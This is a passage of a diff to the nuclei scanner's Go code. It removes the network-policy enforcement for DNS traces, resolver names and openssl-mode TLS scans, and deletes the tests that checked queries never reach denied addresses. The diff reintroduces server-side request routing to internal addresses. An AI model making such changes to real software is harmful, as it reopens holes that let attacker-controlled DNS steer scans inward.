@@ -66,19 +65,27 @@ func TestDohResolverObeysNetworkPolicy(t *testing.T) {
|
||||
t.Run("redirect to denied address", func(t *testing.T) {
|
||||
var hits atomic.Int32
|
||||
internal := newDohServer(t, &hits)
|
||||
redirector := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// the redirector listens on ::1, which passes the policy, while 127.0.0.1 is denied
|
||||
listener, err := net.Listen("tcp6", "[::1]:0")
|
||||
if err != nil {
|
||||
t.Skipf("no IPv6 loopback: %v", err)
|
||||
}
|
||||
var redirects atomic.Int32
|
||||
redirector := httptest.NewUnstartedServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
redirects.Add(1)
|
||||
http.Redirect(w, r, internal.URL+"/internal", http.StatusFound)
|
||||
}))
|
||||
_ = redirector.Listener.Close()
|
||||
redirector.Listener = listener
|
||||
redirector.Start()
|
||||
t.Cleanup(redirector.Close)
|
||||
// localhost passes the resolver check through ::1, while 127.0.0.1 is denied
|
||||
_, port, err := net.SplitHostPort(strings.TrimPrefix(redirector.URL, "http://"))
|
||||
require.NoError(t, err)
|
||||
options := dohOptions(t, []string{"127.0.0.1"})
|
||||
require.True(t, protocolstate.IsHostAllowed(options.ExecutionId, "localhost"))
|
||||
require.True(t, protocolstate.IsHostAllowed(options.ExecutionId, redirector.URL))
|
||||
|
||||
client, err := Get(options, &Configuration{Retries: 1, Resolvers: []string{"doh:http://localhost:" + port + "/dns-query:get"}})
|
||||
client, err := Get(options, &Configuration{Retries: 1, Resolvers: []string{"doh:" + redirector.URL + "/dns-query:get"}})
|
||||
require.NoError(t, err)
|
||||
_, _ = client.Do(txtQuery())
|
||||
require.NotZero(t, redirects.Load(), "DoH query did not reach the redirector")
|
||||
require.Zero(t, hits.Load(), "DoH redirect reached a denied address")
|
||||
})
|
||||
|
||||
|
||||
@@ -1,91 +0,0 @@
|
||||
package dnsclientpool
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// newDotListener accepts TCP connections on 127.0.0.1, counts them and closes
|
||||
// them, so a test sees each DoT dial that reaches the address.
|
||||
func newDotListener(t *testing.T, hits *atomic.Int32) string {
|
||||
t.Helper()
|
||||
l, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(func() { _ = l.Close() })
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
hits.Add(1)
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
_, port, err := net.SplitHostPort(l.Addr().String())
|
||||
require.NoError(t, err)
|
||||
return port
|
||||
}
|
||||
|
||||
func TestDotResolverObeysNetworkPolicy(t *testing.T) {
|
||||
for _, host := range []string{"127.0.0.1", "localhost"} {
|
||||
t.Run("denied address "+host, func(t *testing.T) {
|
||||
var hits atomic.Int32
|
||||
port := newDotListener(t, &hits)
|
||||
// localhost passes the resolver check through ::1, while 127.0.0.1 is denied
|
||||
options := dohOptions(t, []string{"127.0.0.1"})
|
||||
|
||||
client, err := Get(options, &Configuration{Retries: 2, Resolvers: []string{"dot:" + net.JoinHostPort(host, port)}})
|
||||
require.NoError(t, err)
|
||||
_, _ = client.Do(txtQuery())
|
||||
require.Zero(t, hits.Load(), "DoT query reached a denied address")
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("allowed address", func(t *testing.T) {
|
||||
var hits atomic.Int32
|
||||
port := newDotListener(t, &hits)
|
||||
options := dohOptions(t, nil)
|
||||
|
||||
client, err := Get(options, &Configuration{Retries: 1, Resolvers: []string{"dot:127.0.0.1:" + port}})
|
||||
require.NoError(t, err)
|
||||
_, _ = client.Do(txtQuery())
|
||||
require.Equal(t, int32(1), hits.Load())
|
||||
})
|
||||
}
|
||||
|
||||
func TestDotResolverAnswers(t *testing.T) {
|
||||
// httptest gives a certificate for 127.0.0.1 and a pool that trusts it.
|
||||
certs := httptest.NewTLSServer(http.NotFoundHandler())
|
||||
t.Cleanup(certs.Close)
|
||||
previous := dotRootCAs
|
||||
dotRootCAs = certs.Client().Transport.(*http.Transport).TLSClientConfig.RootCAs
|
||||
t.Cleanup(func() { dotRootCAs = previous })
|
||||
|
||||
l, err := tls.Listen("tcp", "127.0.0.1:0", &tls.Config{Certificates: certs.TLS.Certificates, MinVersion: tls.VersionTLS12})
|
||||
require.NoError(t, err)
|
||||
server := &dns.Server{Listener: l, Net: "tcp-tls", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, q *dns.Msg) {
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(q)
|
||||
rr, _ := dns.NewRR(`example.com. 60 IN TXT "dot-answer"`)
|
||||
m.Answer = append(m.Answer, rr)
|
||||
_ = w.WriteMsg(m)
|
||||
})}
|
||||
go func() { _ = server.ActivateAndServe() }()
|
||||
t.Cleanup(func() { _ = server.Shutdown() })
|
||||
|
||||
options := dohOptions(t, nil)
|
||||
client, err := Get(options, &Configuration{Retries: 2, Resolvers: []string{"dot:" + l.Addr().String()}})
|
||||
require.NoError(t, err)
|
||||
resp, err := client.Do(txtQuery())
|
||||
require.NoError(t, err)
|
||||
require.Len(t, resp.Answer, 1)
|
||||
require.Contains(t, resp.Answer[0].String(), "dot-answer")
|
||||
}
|
||||
@@ -195,7 +195,7 @@ func (request *Request) execute(input *contextargs.Context, domain string, metad
|
||||
// perform trace if necessary (excluded from duration — only the query RTT is measured)
|
||||
var traceData *retryabledns.TraceData
|
||||
if request.Trace {
|
||||
traceData, err = trace(request.options.Options.ExecutionId, request.dnsClient, domain, request.question, request.TraceMaxRecursion)
|
||||
traceData, err = request.dnsClient.Trace(domain, request.question, request.TraceMaxRecursion)
|
||||
if err != nil {
|
||||
request.options.Output.Request(request.options.TemplatePath, domain, "dns", err)
|
||||
}
|
||||
|
||||
@@ -1,119 +0,0 @@
|
||||
package dns
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
)
|
||||
|
||||
// startDNSServer answers every query with a TXT record, or with the A records
|
||||
// in addrs when the question is for name, and counts the queries.
|
||||
func startDNSServer(t *testing.T, name string, addrs []string, hits *atomic.Int32) string {
|
||||
t.Helper()
|
||||
pc, err := net.ListenPacket("udp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
server := &dns.Server{PacketConn: pc, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, q *dns.Msg) {
|
||||
hits.Add(1)
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(q)
|
||||
question := q.Question[0]
|
||||
switch {
|
||||
case question.Name == name && question.Qtype == dns.TypeA:
|
||||
for _, addr := range addrs {
|
||||
rr, _ := dns.NewRR(name + " 0 IN A " + addr)
|
||||
m.Answer = append(m.Answer, rr)
|
||||
}
|
||||
case question.Name == name:
|
||||
default:
|
||||
rr, _ := dns.NewRR(question.Name + ` 0 IN TXT "answer"`)
|
||||
m.Answer = append(m.Answer, rr)
|
||||
}
|
||||
_ = w.WriteMsg(m)
|
||||
})}
|
||||
go func() { _ = server.ActivateAndServe() }()
|
||||
t.Cleanup(func() { _ = server.Shutdown() })
|
||||
l, err := net.Listen("tcp", pc.LocalAddr().String())
|
||||
require.NoError(t, err)
|
||||
tcpServer := &dns.Server{Listener: l, Handler: server.Handler}
|
||||
go func() { _ = tcpServer.ActivateAndServe() }()
|
||||
t.Cleanup(func() { _ = tcpServer.Shutdown() })
|
||||
return pc.LocalAddr().String()
|
||||
}
|
||||
|
||||
// useSystemResolver sends the lookups of the process to the DNS server at address.
|
||||
func useSystemResolver(t *testing.T, address string) {
|
||||
t.Helper()
|
||||
previous := net.DefaultResolver
|
||||
net.DefaultResolver = &net.Resolver{
|
||||
PreferGo: true,
|
||||
Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
|
||||
var d net.Dialer
|
||||
return d.DialContext(ctx, "udp", address)
|
||||
},
|
||||
}
|
||||
t.Cleanup(func() { net.DefaultResolver = previous })
|
||||
}
|
||||
|
||||
func TestDNSResolverNameObeysNetworkPolicy(t *testing.T) {
|
||||
// The resolver name has an allowed address and a denied address. The
|
||||
// policy check passes because one address is allowed, so the query must
|
||||
// not go to the denied one.
|
||||
var deniedHits, systemHits atomic.Int32
|
||||
denied := startDNSServer(t, "", nil, &deniedHits)
|
||||
_, port, err := net.SplitHostPort(denied)
|
||||
require.NoError(t, err)
|
||||
system := startDNSServer(t, "resolver.nuclei-test.", []string{"127.0.0.1", "127.0.0.2"}, &systemHits)
|
||||
useSystemResolver(t, system)
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.SetExecutionID(t.Name())
|
||||
options.ExcludeTargets = []string{"127.0.0.1"}
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() { testutils.Cleanup(options) })
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
|
||||
ID: "dns-resolver-policy",
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}, Name: "test"},
|
||||
})
|
||||
|
||||
for _, resolver := range []string{"resolver.nuclei-test:" + port, "tcp:resolver.nuclei-test:" + port} {
|
||||
t.Run(resolver, func(t *testing.T) {
|
||||
deniedHits.Store(0)
|
||||
request := &Request{
|
||||
RequestType: DNSRequestTypeHolder{DNSRequestType: TXT},
|
||||
Class: "INET",
|
||||
Retries: 2,
|
||||
Name: "{{FQDN}}",
|
||||
Resolvers: []string{resolver},
|
||||
}
|
||||
require.NoError(t, request.Compile(executerOpts))
|
||||
|
||||
msg := new(dns.Msg)
|
||||
msg.SetQuestion("example.com.", dns.TypeTXT)
|
||||
_, _ = request.dnsClient.Do(msg)
|
||||
require.Zero(t, deniedHits.Load(), "dns query reached a denied address")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSResolverNameLookupStopsAtTimeout(t *testing.T) {
|
||||
// The system resolver never answers, so the lookup that pins the resolver
|
||||
// name must stop at the timeout.
|
||||
silent, err := net.ListenPacket("udp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(func() { _ = silent.Close() })
|
||||
useSystemResolver(t, silent.LocalAddr().String())
|
||||
|
||||
start := time.Now()
|
||||
_, err = pinResolverHost(t.Name(), "silent.nuclei-test:53", "silent.nuclei-test", time.Second)
|
||||
require.Error(t, err)
|
||||
require.Less(t, time.Since(start), 4*time.Second, "the resolver lookup did not stop at the timeout")
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
package dns
|
||||
|
||||
import (
|
||||
"context"
|
||||
"math/rand"
|
||||
"net"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool"
|
||||
"github.com/projectdiscovery/retryabledns"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
)
|
||||
|
||||
// traceNameServerPort is the port of the name servers that a trace queries.
|
||||
var traceNameServerPort = "53"
|
||||
|
||||
// trace follows the delegation of host from the root servers in the same way
|
||||
// as retryabledns.Client.Trace, but it skips name server addresses that the
|
||||
// network policy denies. The name servers come from the answers, so the owner
|
||||
// of a zone could otherwise send the queries of a trace to internal addresses.
|
||||
func trace(executionID string, client *dnsclientpool.Client, host string, requestType uint16, maxRecursion int) (*retryabledns.TraceData, error) {
|
||||
var traceData retryabledns.TraceData
|
||||
host = dns.CanonicalName(host)
|
||||
servers := retryabledns.RootDNSServersIPv4
|
||||
seenNS := make(map[string]struct{})
|
||||
seenCName := make(map[string]int)
|
||||
for i := 1; i < maxRecursion; i++ {
|
||||
responses, err := client.QueryParallel(host, requestType, servers)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, server := range servers {
|
||||
seenNS[server] = struct{}{}
|
||||
}
|
||||
if len(responses) == 0 {
|
||||
return &traceData, nil
|
||||
}
|
||||
for _, dnsData := range responses {
|
||||
if dnsData != nil && len(dnsData.Resolver) > 0 {
|
||||
traceData.DNSData = append(traceData.DNSData, dnsData)
|
||||
}
|
||||
}
|
||||
|
||||
var nameServers []string
|
||||
var nextCname string
|
||||
for _, dnsData := range responses {
|
||||
if dnsData == nil {
|
||||
continue
|
||||
}
|
||||
for _, ns := range dnsData.NS {
|
||||
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", ns)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, ip := range ips {
|
||||
if !protocolstate.IsHostAllowed(executionID, ip.String()) {
|
||||
continue
|
||||
}
|
||||
nameServers = append(nameServers, net.JoinHostPort(ip.String(), traceNameServerPort))
|
||||
}
|
||||
}
|
||||
if nextCname == "" && len(dnsData.CNAME) > 0 {
|
||||
nextCname = dnsData.CNAME[0]
|
||||
}
|
||||
}
|
||||
nameServers = sliceutil.Dedupe(nameServers)
|
||||
if len(nameServers) == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
server := nameServers[rand.Intn(len(nameServers))] // #nosec G404
|
||||
if _, ok := seenNS[server]; ok && nextCname == "" {
|
||||
break
|
||||
}
|
||||
servers = []string{server}
|
||||
|
||||
if nextCname != "" {
|
||||
seenCName[nextCname]++
|
||||
if seenCName[nextCname] > retryabledns.DefaultMaxPerCNAMEFollows {
|
||||
break
|
||||
}
|
||||
host = nextCname
|
||||
}
|
||||
}
|
||||
return &traceData, nil
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
package dns
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/retryabledns"
|
||||
)
|
||||
|
||||
func serveTraceDNS(t *testing.T, address string, handler dns.HandlerFunc) string {
|
||||
t.Helper()
|
||||
pc, err := net.ListenPacket("udp", address)
|
||||
require.NoError(t, err)
|
||||
server := &dns.Server{PacketConn: pc, Handler: handler}
|
||||
go func() { _ = server.ActivateAndServe() }()
|
||||
t.Cleanup(func() { _ = server.Shutdown() })
|
||||
return pc.LocalAddr().String()
|
||||
}
|
||||
|
||||
func TestDNSTraceObeysNetworkPolicy(t *testing.T) {
|
||||
// The zone of the traced name delegates to a name server on 127.0.0.1.
|
||||
// The trace must query it when the policy allows the address, so that the
|
||||
// test can see a trace that ignores the policy, and must skip it when the
|
||||
// policy denies the address.
|
||||
t.Run("allowed", func(t *testing.T) {
|
||||
require.NotZero(t, runTraceAgainstLoopbackNameServer(t, nil), "trace did not query the allowed name server")
|
||||
})
|
||||
t.Run("denied", func(t *testing.T) {
|
||||
require.Zero(t, runTraceAgainstLoopbackNameServer(t, []string{"127.0.0.1"}), "trace queried a denied name server")
|
||||
})
|
||||
}
|
||||
|
||||
func runTraceAgainstLoopbackNameServer(t *testing.T, excludeTargets []string) int32 {
|
||||
t.Helper()
|
||||
var internalHits atomic.Int32
|
||||
internal := serveTraceDNS(t, "127.0.0.1:0", func(w dns.ResponseWriter, q *dns.Msg) {
|
||||
internalHits.Add(1)
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(q)
|
||||
rr, _ := dns.NewRR(q.Question[0].Name + ` 0 IN TXT "internal"`)
|
||||
m.Answer = append(m.Answer, rr)
|
||||
_ = w.WriteMsg(m)
|
||||
})
|
||||
_, port, err := net.SplitHostPort(internal)
|
||||
require.NoError(t, err)
|
||||
previousPort := traceNameServerPort
|
||||
traceNameServerPort = port
|
||||
t.Cleanup(func() { traceNameServerPort = previousPort })
|
||||
|
||||
// public stands in for the root servers, the scan resolvers and the system resolver
|
||||
public := serveTraceDNS(t, "127.0.0.1:0", func(w dns.ResponseWriter, q *dns.Msg) {
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(q)
|
||||
question := q.Question[0]
|
||||
var rr dns.RR
|
||||
switch {
|
||||
case question.Name == "ns.nuclei-test." && question.Qtype == dns.TypeA:
|
||||
rr, _ = dns.NewRR("ns.nuclei-test. 0 IN A 127.0.0.1")
|
||||
case question.Name == "ns.nuclei-test.":
|
||||
case question.Name == "trace.nuclei-test.":
|
||||
rr, _ = dns.NewRR("trace.nuclei-test. 0 IN NS ns.nuclei-test.")
|
||||
default:
|
||||
rr, _ = dns.NewRR(question.Name + ` 0 IN TXT "public"`)
|
||||
}
|
||||
if rr != nil {
|
||||
m.Answer = append(m.Answer, rr)
|
||||
}
|
||||
_ = w.WriteMsg(m)
|
||||
})
|
||||
previousRoots := retryabledns.RootDNSServersIPv4
|
||||
retryabledns.RootDNSServersIPv4 = []string{public}
|
||||
t.Cleanup(func() { retryabledns.RootDNSServersIPv4 = previousRoots })
|
||||
previousResolver := net.DefaultResolver
|
||||
net.DefaultResolver = &net.Resolver{
|
||||
PreferGo: true,
|
||||
Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
|
||||
var d net.Dialer
|
||||
return d.DialContext(ctx, "udp", public)
|
||||
},
|
||||
}
|
||||
t.Cleanup(func() { net.DefaultResolver = previousResolver })
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.SetExecutionID(t.Name())
|
||||
options.ExcludeTargets = excludeTargets
|
||||
options.InternalResolversList = []string{public}
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() { testutils.Cleanup(options) })
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
|
||||
ID: "dns-trace-policy",
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}, Name: "test"},
|
||||
})
|
||||
|
||||
request := &Request{
|
||||
RequestType: DNSRequestTypeHolder{DNSRequestType: TXT},
|
||||
Class: "INET",
|
||||
Name: "{{FQDN}}",
|
||||
// One retry keeps the client keyed by this test's resolvers, so a
|
||||
// client cached by an earlier run cannot point at a closed server.
|
||||
Retries: 1,
|
||||
Trace: true,
|
||||
TraceMaxRecursion: 5,
|
||||
}
|
||||
require.NoError(t, request.Compile(executerOpts))
|
||||
|
||||
var event output.InternalEvent
|
||||
input := contextargs.NewWithInput(context.Background(), "trace.nuclei-test")
|
||||
err = request.ExecuteWithResults(input, nil, nil, func(e *output.InternalWrappedEvent) {
|
||||
event = e.InternalEvent
|
||||
})
|
||||
require.NoError(t, err)
|
||||
require.Contains(t, event["trace"], "ns.nuclei-test", "trace did not query the root servers")
|
||||
return internalHits.Load()
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/render"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool"
|
||||
@@ -35,7 +34,6 @@ import (
|
||||
"github.com/projectdiscovery/tlsx/pkg/tlsx/clients"
|
||||
"github.com/projectdiscovery/tlsx/pkg/tlsx/openssl"
|
||||
"github.com/projectdiscovery/utils/errkit"
|
||||
iputil "github.com/projectdiscovery/utils/ip"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
)
|
||||
|
||||
@@ -204,21 +202,6 @@ func (request *Request) GetID() string {
|
||||
return request.ID
|
||||
}
|
||||
|
||||
// allowedAddress returns the first address of host that the network policy allows.
|
||||
func (request *Request) allowedAddress(host string) (string, error) {
|
||||
dnsData, err := request.dialer.GetDNSData(host)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
addresses := append(append([]string{}, dnsData.A...), dnsData.AAAA...)
|
||||
for _, address := range addresses {
|
||||
if protocolstate.IsHostAllowed(request.options.Options.ExecutionId, address) {
|
||||
return address, nil
|
||||
}
|
||||
}
|
||||
return "", protocolstate.ErrHostDenied.Msgf(host)
|
||||
}
|
||||
|
||||
// ExecuteWithResults executes the protocol requests and returns results instead of writing them.
|
||||
func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {
|
||||
hostPort := input.MetaInput.Input
|
||||
@@ -272,23 +255,6 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa
|
||||
} else {
|
||||
hostIp = host
|
||||
}
|
||||
if !iputil.IsIP(hostIp) {
|
||||
// The openssl scan mode runs the openssl binary, which resolves a host
|
||||
// name again by itself, so it gets an address the policy allows.
|
||||
address, err := request.allowedAddress(hostIp)
|
||||
if err != nil {
|
||||
requestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), err)
|
||||
requestOptions.Progress.IncrementFailedRequestsBy(1)
|
||||
return errkit.Wrap(err, "could not resolve host")
|
||||
}
|
||||
hostIp = address
|
||||
} else if !protocolstate.IsHostAllowed(request.options.Options.ExecutionId, hostIp) {
|
||||
// A custom dialer can allow an address that the execution policy denies.
|
||||
err := protocolstate.ErrHostDenied.Msgf(hostIp)
|
||||
requestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), err)
|
||||
requestOptions.Progress.IncrementFailedRequestsBy(1)
|
||||
return err
|
||||
}
|
||||
|
||||
if err := request.options.HostBackoffWait(input.Context(), addressToDial); err != nil {
|
||||
return err
|
||||
|
||||
@@ -1,179 +0,0 @@
|
||||
package ssl
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"math/big"
|
||||
"net"
|
||||
"slices"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/fastdialer/fastdialer"
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/tlsx/pkg/tlsx/openssl"
|
||||
)
|
||||
|
||||
func selfSignedCertificate(t *testing.T, name string) tls.Certificate {
|
||||
t.Helper()
|
||||
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
require.NoError(t, err)
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1),
|
||||
Subject: pkix.Name{CommonName: name},
|
||||
NotBefore: time.Now().Add(-time.Hour),
|
||||
NotAfter: time.Now().Add(time.Hour),
|
||||
}
|
||||
der, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
|
||||
require.NoError(t, err)
|
||||
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}
|
||||
}
|
||||
|
||||
// serveTLS counts the TLS handshakes that reach address.
|
||||
func serveTLS(t *testing.T, address, name string, handshakes *atomic.Int32) string {
|
||||
t.Helper()
|
||||
listener, err := tls.Listen("tcp", address, &tls.Config{Certificates: []tls.Certificate{selfSignedCertificate(t, name)}})
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(func() { _ = listener.Close() })
|
||||
go func() {
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
defer func() { _ = conn.Close() }()
|
||||
_ = conn.SetDeadline(time.Now().Add(5 * time.Second))
|
||||
if conn.(*tls.Conn).Handshake() == nil {
|
||||
handshakes.Add(1)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}()
|
||||
return listener.Addr().String()
|
||||
}
|
||||
|
||||
func TestSSLOpenSSLObeysNetworkPolicy(t *testing.T) {
|
||||
if !openssl.IsAvailable() {
|
||||
t.Skip("openssl binary is not installed")
|
||||
}
|
||||
addrs, err := net.LookupHost("localhost")
|
||||
if err != nil || len(addrs) < 2 {
|
||||
t.Skip("localhost does not resolve to both loopback addresses")
|
||||
}
|
||||
|
||||
// The policy allows 127.0.0.1 and denies ::1, so localhost passes the
|
||||
// dial check. The openssl binary must not connect to ::1.
|
||||
var allowedHandshakes, deniedHandshakes atomic.Int32
|
||||
allowed := serveTLS(t, "127.0.0.1:0", "allowed", &allowedHandshakes)
|
||||
_, port, err := net.SplitHostPort(allowed)
|
||||
require.NoError(t, err)
|
||||
serveTLS(t, net.JoinHostPort("::1", port), "denied", &deniedHandshakes)
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.SetExecutionID(t.Name())
|
||||
options.ExcludeTargets = []string{"::1"}
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() { testutils.Cleanup(options) })
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{ID: "ssl-openssl-policy"})
|
||||
executerOpts.IsMultiProtocol = true
|
||||
|
||||
request := &Request{ID: "ssl-openssl-policy", Address: "{{Host}}:{{Port}}", ScanMode: "openssl"}
|
||||
require.NoError(t, request.Compile(executerOpts))
|
||||
// The scan resolves names with the fastdialer, not the system resolver. On
|
||||
// Windows the hosts file has no localhost entry, so the name does not resolve.
|
||||
if !resolvesToBothLoopbacks(request) {
|
||||
t.Skip("the scan dialer does not resolve localhost to both loopback addresses")
|
||||
}
|
||||
|
||||
var event output.InternalEvent
|
||||
input := contextargs.NewWithInput(context.Background(), net.JoinHostPort("localhost", port))
|
||||
err = request.ExecuteWithResults(input, nil, nil, func(e *output.InternalWrappedEvent) {
|
||||
event = e.InternalEvent
|
||||
})
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "allowed", event["subject_cn"])
|
||||
require.Zero(t, deniedHandshakes.Load(), "openssl connected to a denied address")
|
||||
}
|
||||
|
||||
func resolvesToBothLoopbacks(request *Request) bool {
|
||||
data, err := request.dialer.GetDNSData("localhost")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return slices.Contains(data.A, "127.0.0.1") && slices.Contains(data.AAAA, "::1")
|
||||
}
|
||||
|
||||
func TestSSLOpenSSLLiteralIPObeysExecutionPolicy(t *testing.T) {
|
||||
if !openssl.IsAvailable() {
|
||||
t.Skip("openssl binary is not installed")
|
||||
}
|
||||
|
||||
// The input pins ::1 as its custom ip, and a custom dialer with no deny
|
||||
// list would connect to it. The execution policy denies it, so the openssl
|
||||
// binary must not connect to it.
|
||||
var deniedHandshakes atomic.Int32
|
||||
denied := serveTLS(t, "[::1]:0", "denied", &deniedHandshakes)
|
||||
_, port, err := net.SplitHostPort(denied)
|
||||
require.NoError(t, err)
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.SetExecutionID(t.Name())
|
||||
options.ExcludeTargets = []string{"::1"}
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() { testutils.Cleanup(options) })
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{ID: "ssl-openssl-literal-ip"})
|
||||
executerOpts.IsMultiProtocol = true
|
||||
customDialer, err := fastdialer.NewDialer(fastdialer.DefaultOptions)
|
||||
require.NoError(t, err)
|
||||
t.Cleanup(customDialer.Close)
|
||||
executerOpts.CustomFastdialer = customDialer
|
||||
|
||||
request := &Request{ID: "ssl-openssl-literal-ip", Address: "{{Host}}:{{Port}}", ScanMode: "openssl"}
|
||||
require.NoError(t, request.Compile(executerOpts))
|
||||
|
||||
input := contextargs.NewWithInput(context.Background(), net.JoinHostPort("localhost", port))
|
||||
input.MetaInput.CustomIP = "::1"
|
||||
err = request.ExecuteWithResults(input, nil, nil, func(*output.InternalWrappedEvent) {})
|
||||
require.Error(t, err)
|
||||
require.Zero(t, deniedHandshakes.Load(), "openssl connected to an address the execution policy denies")
|
||||
}
|
||||
|
||||
func TestSSLOpenSSLCustomIPObeysNetworkPolicy(t *testing.T) {
|
||||
if !openssl.IsAvailable() {
|
||||
t.Skip("openssl binary is not installed")
|
||||
}
|
||||
|
||||
// The input pins the denied address ::1 as its custom ip, so the request
|
||||
// skips the name lookup. The openssl binary must still not connect to it.
|
||||
var deniedHandshakes atomic.Int32
|
||||
denied := serveTLS(t, "[::1]:0", "denied", &deniedHandshakes)
|
||||
_, port, err := net.SplitHostPort(denied)
|
||||
require.NoError(t, err)
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.SetExecutionID(t.Name())
|
||||
options.ExcludeTargets = []string{"::1"}
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() { testutils.Cleanup(options) })
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{ID: "ssl-openssl-custom-ip"})
|
||||
